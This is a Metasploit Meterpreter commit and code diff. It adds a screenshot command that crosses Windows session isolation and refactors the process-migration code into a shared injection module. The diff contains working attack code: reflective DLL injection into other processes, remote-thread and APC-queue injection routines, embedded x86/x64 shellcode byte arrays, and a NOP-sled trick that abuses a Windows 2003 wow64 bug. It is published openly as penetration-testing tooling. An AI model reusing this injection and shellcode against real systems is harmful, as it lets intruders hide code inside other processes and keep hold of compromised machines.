Commit all the code for the new 'screenshot' command in the stdapi extension. Screenshot will now work on NT4 - 7 on both x86 and x64 and on newer versions of Windows we can break out of session isolation (e.g. session 0 isolation for services) to screenshot the active desktop (or logon screen) without the need to migrate meterpreter. The majority of the migration code-injection stuff has been refactored out into base_inject.c so it can be shared with the new ps_inject() functionality to inject dlls. The 'ps' command now reports what session each process belongs to (if this is too verbose we can remove it or add a -v verbose switch to the ps command). The 'execute' command can now take a -s switch in order to create a process in a users session under the users privs (assuming you have the privs to do this).

git-svn-id: file:///home/svn/framework3/trunk@8787 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Stephen Fewer 2010-03-11 17:09:55 +00:00
parent c55e9af9ae
commit c09ca4eba5
29 changed files with 3427 additions and 665 deletions

View File

@ -191,6 +191,7 @@ HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLeng
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
HANDLE hThread = NULL; HANDLE hThread = NULL;
DWORD dwReflectiveLoaderOffset = 0; DWORD dwReflectiveLoaderOffset = 0;
DWORD dwThreadId = 0;
__try __try
{ {
@ -201,13 +202,13 @@ HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLeng
// check if the library has a ReflectiveLoader... // check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( !dwReflectiveLoaderOffset != 0 ) if( !dwReflectiveLoaderOffset )
break; break;
// alloc memory (RWX) in the host process for the image... // alloc memory (RWX) in the host process for the image...
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer ) if( !lpRemoteLibraryBuffer )
break; break;
// write the image into the host process... // write the image into the host process...
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
@ -217,9 +218,10 @@ HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLeng
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset ); lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset );
// create a remote thread in the host process to call the ReflectiveLoader! // create a remote thread in the host process to call the ReflectiveLoader!
hThread = CreateRemoteThread( hProcess, NULL, (SIZE_T)NULL, lpReflectiveLoader, lpParameter, (DWORD)NULL, NULL ); hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
}
while( 0 ); } while( 0 );
} }
__except( EXCEPTION_EXECUTE_HANDLER ) __except( EXCEPTION_EXECUTE_HANDLER )
{ {

View File

@ -30,6 +30,8 @@
//===============================================================================================// //===============================================================================================//
#include "ReflectiveDLLInjection.h" #include "ReflectiveDLLInjection.h"
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );

View File

@ -1,62 +1,9 @@
#include "common.h" #include "common.h"
#include <Tlhelp32.h> #include "base_inject.h"
// Definition of ntdll!NtQueueApcThread
typedef NTSTATUS (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved );
// Definitions used for running native x64 code from a wow64 process (see executex64.asm)
typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );
typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter );
// These are defined in the stdapi projects ps.h file. We should put them somewhere more generic so we dont dup them here.
#define PROCESS_ARCH_UNKNOWN 0
#define PROCESS_ARCH_X86 1
#define PROCESS_ARCH_X64 2
#define PROCESS_ARCH_IA64 3
// The thee migration techniques currently supported.
#define MIGRATE_TECHNIQUE_REMOTETHREAD 0
#define MIGRATE_TECHNIQUE_REMOTETHREADWOW64 1
#define MIGRATE_TECHNIQUE_APCQUEUE 2
// An external reference to the meterpreters main server thread, so we can shutdown gracefully after successfull migration. // An external reference to the meterpreters main server thread, so we can shutdown gracefully after successfull migration.
extern THREAD * serverThread; extern THREAD * serverThread;
// Simple trick to get the current meterpreters arch
#ifdef _WIN64
DWORD dwMeterpreterArch = PROCESS_ARCH_X64;
#else
DWORD dwMeterpreterArch = PROCESS_ARCH_X86;
#endif
// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm'
BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
"\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
"\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
"\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
"\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24";
// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm'
BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
"\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
"\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
"\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"
"\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40"
"\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0"
"\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40"
"\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0"
"\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58"
"\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A"
"\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D"
"\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01"
"\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8"
"\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00"
"\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00"
"\x48\x83\xC4\x50\x48\x89\xFC\xC3";
// see '/msf3/external/source/shellcode/x86/migrate/migrate.asm' // see '/msf3/external/source/shellcode/x86/migrate/migrate.asm'
BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00" BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00"
"\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B" "\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B"
@ -95,38 +42,6 @@ BYTE migrate_stub_x64[] = "\xFC\x48\x89\xCE\x48\x81\xEC\x00\x20\x00\x00\x48\x83\
"\x59\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x48\x8B\x0E\x41" "\x59\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x48\x8B\x0E\x41"
"\xBA\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08"; "\xBA\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
// see '/msf3/external/source/shellcode/x86/migrate/apc.asm'
BYTE apc_stub_x86[] = "\xFC\x8B\x44\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5"
"\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F"
"\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF"
"\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B"
"\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01"
"\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF"
"\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58"
"\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04"
"\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58"
"\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x78\x10\x00\x75\x16\xC6\x40\x10"
"\x01\x31\xC9\x51\x51\xFF\x70\x08\xFF\x30\x51\x51\x68\x38\x68\x0D"
"\x16\xFF\xD3\xC9\xC2\x0C\x00";
// see '/msf3/external/source/shellcode/x64/migrate/apc.asm'
BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\xF4\x00\x00\x00\xC6\x41\x10\x01\x48"
"\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48"
"\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48"
"\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C"
"\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41"
"\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B"
"\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01"
"\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF"
"\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41"
"\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45"
"\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C"
"\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41"
"\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20"
"\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF"
"\x5D\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51"
"\x41\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3";
// We force 64bit algnment for HANDLES and POINTERS in order // We force 64bit algnment for HANDLES and POINTERS in order
// to be cross compatable between x86 and x64 migration. // to be cross compatable between x86 and x64 migration.
typedef struct _MIGRATECONTEXT typedef struct _MIGRATECONTEXT
@ -147,437 +62,6 @@ typedef struct _MIGRATECONTEXT
} MIGRATECONTEXT, * LPMIGRATECONTEXT; } MIGRATECONTEXT, * LPMIGRATECONTEXT;
// The context used for injection via migrate_via_apcthread
typedef struct _APCCONTEXT
{
union
{
LPVOID lpStartAddress;
BYTE bPadding1[8];
} s;
union
{
LPVOID lpParameter;
BYTE bPadding2[8];
} p;
BYTE bExecuted;
} APCCONTEXT, * LPAPCCONTEXT;
// The context used for injection via migrate_via_remotethread_wow64
typedef struct _WOW64CONTEXT
{
union
{
HANDLE hProcess;
BYTE bPadding2[8];
} h;
union
{
LPVOID lpStartAddress;
BYTE bPadding1[8];
} s;
union
{
LPVOID lpParameter;
BYTE bPadding2[8];
} p;
union
{
HANDLE hThread;
BYTE bPadding2[8];
} t;
} WOW64CONTEXT, * LPWOW64CONTEXT;
/*
* Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread
*/
DWORD migrate_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HMODULE hNtdll = NULL;
NTQUEUEAPCTHREAD pNtQueueApcThread = NULL;
HANDLE hThreadSnap = NULL;
LPVOID lpApcStub = NULL;
LPVOID lpRemoteApcStub = NULL;
LPVOID lpRemoteApcContext = NULL;
LIST * thread_list = NULL;
THREADENTRY32 t = {0};
APCCONTEXT ctx = {0};
DWORD dwApcStubLength = 0;
do
{
thread_list = list_create();
if( !thread_list )
break;
ctx.s.lpStartAddress = lpStartAddress;
ctx.p.lpParameter = lpParameter;
ctx.bExecuted = FALSE;
t.dwSize = sizeof( THREADENTRY32 );
// Get the architecture specific apc migration stub...
if( dwDestinationArch == PROCESS_ARCH_X86 )
{
if( dwMeterpreterArch == PROCESS_ARCH_X64 )
{
// migrating x64->x86(wow64)
// Our injected APC ends up running in native x64 mode within the wow64 process and as such
// will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub.
// This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though.
SetLastError( ERROR_ACCESS_DENIED );
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread. Can't do x64->x86 APC migration yet." )
}
else
{
// migrating x86->x86
lpApcStub = &apc_stub_x86;
dwApcStubLength = sizeof( apc_stub_x86 );
}
}
else if( dwDestinationArch == PROCESS_ARCH_X64 )
{
// migrating x64->x64 (and the same stub for x86(wow64)->x64)
lpApcStub = &apc_stub_x64;
dwApcStubLength = sizeof( apc_stub_x64 );
if( dwMeterpreterArch == PROCESS_ARCH_X86 )
{
// migrating x86(wow64)->x64
// For now we leverage a bug in wow64 to get x86->x64 migration working, this
// will simply fail gracefully on systems where the technique does not work.
MEMORY_BASIC_INFORMATION mbi = {0};
LPVOID lpRemoteAddress = NULL;
BYTE * lpNopSled = NULL;
BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0";
/*
// On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes.
// The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful,
// however the start address of the new APC in the native x64 process is not what we specify but instead it is
// the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc
// this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there
// injection will continue as normal.
// The registers on the native x64 process after the queued APC is attempted to run:
rip = 000000006B0095F0 // address of wow64!Wow64ApcRoutine as found in the wow64 process
rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param)
rdx = dwApcStatusBlock // unused
r8 = dwApcReserved // unused
// On the WOW64 process side:
wow64:000000006B0095F0 ; Exported entry 3. Wow64ApcRoutine
wow64:000000006B0095F0
wow64:000000006B0095F0 public Wow64ApcRoutine
// On the native x64 process side:
ntdll:0000000077EF30A0 public KiUserApcDispatcher
ntdll:0000000077EF30A0 mov rcx, [rsp] // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value
ntdll:0000000077EF30A4 mov rdx, [rsp+8] // 32bit dwApcStatusBlock
ntdll:0000000077EF30A9 mov r8, [rsp+10h] // 32bit dwApcReserved
ntdll:0000000077EF30AE mov r9, rsp
ntdll:0000000077EF30B1 call qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine!
// Our bStub:
00000000 4889C8 mov rax, rcx
00000003 48C1E120 shl rcx, 32
00000007 48C1E920 shr rcx, 32
0000000B 48C1E820 shr rax, 32
0000000F FFE0 jmp rax
*/
// alloc the address of the wow64!Wow64ApcRoutine export in the remote process...
// TO-DO: parse the PE64 executable wow64.dll to get this at runtime.
lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteAddress )
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread. VirtualAllocEx 0x6B0095F0 failed" );
if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 )
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread. VirtualQueryEx failed" );
lpNopSled = (BYTE *)malloc( mbi.RegionSize );
if( !lpNopSled )
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread. malloc lpNopSled failed" );
memset( lpNopSled, 0x90, mbi.RegionSize );
if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) )
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: WriteProcessMemory lpNopSled failed" )
if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) )
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: WriteProcessMemory bStub failed" )
free( lpNopSled );
}
}
else
{
SetLastError( ERROR_BAD_ENVIRONMENT );
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread. Invalid target architecture" )
}
hNtdll = LoadLibraryA( "ntdll" );
if( !hNtdll )
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: LoadLibraryA failed" )
pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" );
if( !pNtQueueApcThread )
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: GetProcAddress NtQueueApcThread failed" )
hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
if( !hThreadSnap )
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: CreateToolhelp32Snapshot failed" )
if( !Thread32First( hThreadSnap, &t ) )
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: Thread32First failed" )
// Allocate memory for the apc stub and context
lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteApcStub )
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: VirtualAllocEx failed" )
// Simply determine the apc context address
lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength );
dprintf( "[MIGRATE] -- dwMeterpreterArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwMeterpreterArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext );
// Write the apc stub to memory...
if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) )
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" )
// Write the apc context to memory...
if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) )
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" )
do
{
HANDLE hThread = NULL;
// Only proceed if we are targeting a thread in the target process
if( t.th32OwnerProcessID != dwProcessID )
continue;
// Open a handle to this thread so we can do the apc injection
hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID );
if( !hThread )
continue;
dprintf("[MIGRATE] migrate_via_apcthread: Trying to inject into thread %d", t.th32ThreadID );
// Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt
// an ssl connection back but the client side will not be ready to accept it and we loose the session.
if( SuspendThread( hThread ) != (DWORD)-1 )
{
list_push( thread_list, hThread );
// Queue up our apc stub to run in the target thread, when our apc stub is run (when the target
// thread is placed in an alertable state) it will spawn a new thread with our actual migration payload.
// Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS.
if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS )
dwResult = ERROR_SUCCESS;
}
else
{
CloseHandle( hThread );
}
// keep searching for more target threads to inject our apc stub into...
} while( Thread32Next( hThreadSnap, &t ) );
} while( 0 );
if( dwResult == ERROR_SUCCESS )
{
// Send a successful response to let the ruby side know that we've pretty
// much successfully migrated and have reached the point of no return
packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, MIGRATE_TECHNIQUE_APCQUEUE );
packet_transmit_response( ERROR_SUCCESS, remote, response );
// Sleep to give the remote side a chance to catch up...
Sleep( 2000 );
}
if( thread_list )
{
// Resume all the threads which we queued our apc into as the remote
// client side will now be ready to handle the new ssl conenction.
while( TRUE )
{
HANDLE t = (HANDLE)list_pop( thread_list );
if( !t )
break;
ResumeThread( t );
CloseHandle( t );
}
list_destroy( thread_list );
}
if( hThreadSnap )
CloseHandle( hThreadSnap );
if( hNtdll )
FreeLibrary( hNtdll );
SetLastError( dwResult );
return dwResult;
}
/*
* Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86)
* enviroment into a native x64 enviroment and accessing the native win64 API's.
* Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new
* threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out
* Windows 2003 from this method of injection, however the APC injection method will work on 2003.
*/
DWORD migrate_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread )
{
DWORD dwResult = ERROR_SUCCESS;
EXECUTEX64 pExecuteX64 = NULL;
X64FUNCTION pX64function = NULL;
WOW64CONTEXT * ctx = NULL;
OSVERSIONINFO os = {0};
do
{
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
if( !GetVersionEx( &os ) )
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread_wow64: GetVersionEx failed" )
// filter out Windows 2003
if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
{
SetLastError( ERROR_ACCESS_DENIED );
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread_wow64: Windows 2003 not supported." )
}
// alloc a RWX buffer in this process for the EXECUTEX64 function
pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !pExecuteX64 )
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" )
// alloc a RWX buffer in this process for the X64FUNCTION function (and its context)
pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !pX64function )
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread_wow64: VirtualAlloc pX64function failed" )
// copy over the wow64->x64 stub
memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) );
// copy over the native x64 function
memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) );
// set the context
ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) );
ctx->h.hProcess = hProcess;
ctx->s.lpStartAddress = lpStartAddress;
ctx->p.lpParameter = lpParameter;
ctx->t.hThread = NULL;
dprintf( "[MIGRATE] migrate_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx );
// Transition this wow64 process into native x64 and call pX64function( ctx )
// The native function will use the native Win64 API's to create a remote thread in the target process.
if( !pExecuteX64( pX64function, (DWORD)ctx ) )
{
SetLastError( ERROR_ACCESS_DENIED );
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" )
}
if( !ctx->t.hThread )
{
SetLastError( ERROR_INVALID_HANDLE );
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread_wow64: ctx->t.hThread is NULL" )
}
// Success! grab the new thread handle from of the context
*pThread = ctx->t.hThread;
dprintf( "[MIGRATE] migrate_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread );
} while( 0 );
if( pExecuteX64 )
VirtualFree( pExecuteX64, 0, MEM_DECOMMIT );
if( pX64function )
VirtualFree( pX64function, 0, MEM_DECOMMIT );
return dwResult;
}
/*
* Attempte to gain code execution in the remote process by creating a remote thread in the target process.
*/
DWORD migrate_via_remotethread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
{
DWORD dwResult = ERROR_SUCCESS;
DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD;
HANDLE hThread = NULL;
DWORD dwThreadId = 0;
do
{
// Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread
// fails, giving us a chance to try an alternative method or fail migration gracefully.
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, CREATE_SUSPENDED, &dwThreadId );
if( !hThread )
{
if( dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64 )
{
// migrating x86(wow64)->x64, (we expect the call to kernel32!CreateRemoteThread to fail and bring us here).
dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64;
if( migrate_via_remotethread_wow64( hProcess, lpStartAddress, lpParameter, &hThread ) != ERROR_SUCCESS )
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread: migrate_via_remotethread_wow64 failed" )
}
else
{
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread: CreateRemoteThread failed" )
}
}
dprintf("[MIGRATE] Sending a migrate response..." );
// Send a successful response to let the ruby side know that we've pretty
// much successfully migrated and have reached the point of no return
packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique );
packet_transmit_response( ERROR_SUCCESS, remote, response );
dprintf("[MIGRATE] Sleeping for two seconds..." );
// Sleep to give the remote side a chance to catch up...
Sleep( 2000 );
dprintf("[MIGRATE] Resuming the migration thread..." );
// Resume the migration thread...
if( ResumeThread( hThread ) == (DWORD)-1 )
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread: ResumeThread failed" )
} while( 0 );
if( hThread )
CloseHandle( hThread );
SetLastError( dwResult );
return dwResult;
}
/* /*
* Migrate the meterpreter server from the current process into another process. * Migrate the meterpreter server from the current process into another process.
*/ */
@ -691,15 +175,23 @@ DWORD remote_request_core_migrate( Remote * remote, Packet * packet )
BREAK_ON_ERROR( "[MIGRATE] WriteProcessMemory 3 failed" ) BREAK_ON_ERROR( "[MIGRATE] WriteProcessMemory 3 failed" )
// First we try to migrate by directly creating a remote thread in the target process // First we try to migrate by directly creating a remote thread in the target process
if( migrate_via_remotethread( remote, response, hProcess, dwDestinationArch, lpMemory, ((BYTE*)lpMemory+dwMigrateStubLength) ) != ERROR_SUCCESS ) if( inject_via_remotethread( remote, response, hProcess, dwDestinationArch, lpMemory, ((BYTE*)lpMemory+dwMigrateStubLength) ) != ERROR_SUCCESS )
{ {
dprintf( "[MIGRATE] migrate_via_remotethread failed, trying migrate_via_apcthread..." ); dprintf( "[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..." );
// If that fails we can try to migrate via a queued APC in the target process // If that fails we can try to migrate via a queued APC in the target process
if( migrate_via_apcthread( remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, ((BYTE*)lpMemory+dwMigrateStubLength) ) != ERROR_SUCCESS ) if( inject_via_apcthread( remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, ((BYTE*)lpMemory+dwMigrateStubLength) ) != ERROR_SUCCESS )
